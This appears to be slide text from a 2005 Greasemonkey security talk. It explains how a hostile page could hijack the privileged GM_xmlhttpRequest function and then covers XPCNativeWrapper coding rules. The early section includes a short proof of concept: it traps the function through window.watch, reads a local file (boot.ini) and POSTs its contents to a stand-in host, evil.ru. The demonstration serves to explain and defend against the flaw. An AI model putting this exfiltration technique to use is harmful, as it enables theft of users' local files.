Mark Pilgrim
August 5, 2005
GM_logGM_setValue, GM_getValueGM_registerMenuCommandGM_openInTabGM_xmlhttpRequest<script> elements into page
_scripts = [];
_c = document.getElementsByTagName("script").length;
function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName("script");
if (arScripts.length > _numPreviousScripts) {
_scripts.push(arScripts[_c++].innerHTML);
}
}
document.addEventListener("DOMNodeInserted",
trapInsertScript, true);
window
_GM_xmlhttpRequest = null;
function trapGM(prop, oldVal, newVal) {
_GM_xmlhttpRequest = window.GM_xmlhttpRequest;
return newVal;
}
window.watch("GM_log", trapGM);
GM_xmlhttpRequest can access local files
_GM_xmlhttpRequest({
method: "GET",
url: "file:///c:/boot.ini",
onload: function(oResponseDetails) {
_GM_xmlhttpRequest({
method: "POST",
url: "http://evil.ru/",
data: oResponseDetails.responseText
});
}
});
window, so remote page can’t steal themwindow, document, all elementswatch object propertiesdocument.createElementdocument.getElementsByTagNameCan’t auto-eval chunks of JavaScript code in strings
Fails:
window.setTimeout("my_func()", 1000);
Works:
window.setTimeout(my_func, 1000);
Can’t set event handlers directly
Fails:
document.onclick = my_func;
Works:
document.addEventListener("click", my_func, true);
Can’t access named forms or form elements directly
Fails:
<form id="gs">
<input name="q" type="text" value="foo">
</form>
q = document.gs.q.value;
Works:
form = document.forms.namedItem("gs");
input = form.elements.namedItem("q");
q = input.value;
Can’t set custom “expando” properties directly
Fails:
element.myProperty = "foo";
Works:
element.setAttribute("myProperty", "foo");
Can’t iterate collections directly
Fails:
var arInputs = document.getElementsByTagName("input");
for (var elmInput in arInputs) {
...
}
Works:
for (var i = 0; i < arInputs.length; i++) {
var elmInput = arInputs[i];
...
}
Can’t scroll elements into view
Fails:
elm.scrollIntoView();
Works:
realElm = elm.wrappedJSObject || elm;
realElm.scrollIntoView();
Still vulnerable to remote page redefining scrollIntoView method
Can’t set location directly
Fails:
window.location = "http://example.com/";
Works:
window.location.href = "http://example.com/";
Remote page scripts don’t expect an XPCNativeWrapper
Fails:
var searchForm = getNode("s");
searchForm.elements.namedItem("q").value =
this.getRunnableQuery();
top.js._MH_OnSearch(window, 0);
Works:
...
top.js._MH_OnSearch(unsafeWindow, 0);
Can’t watch property changes directly
Fails:
window.watch("location", watchLocation);
window.location.watch("href", watchLocation);
Works:
unsafeWindow.watch("location", watchLocation);
unsafeWindow.location.watch("href", watchLocation);
Can’t set styles in bulk
Fails:
var elm = document.getElementById("foo");
elm.setAttribute("style", "margin:0; padding:0;");
Works:
elm.style.margin = 0;
elm.style.padding = 0;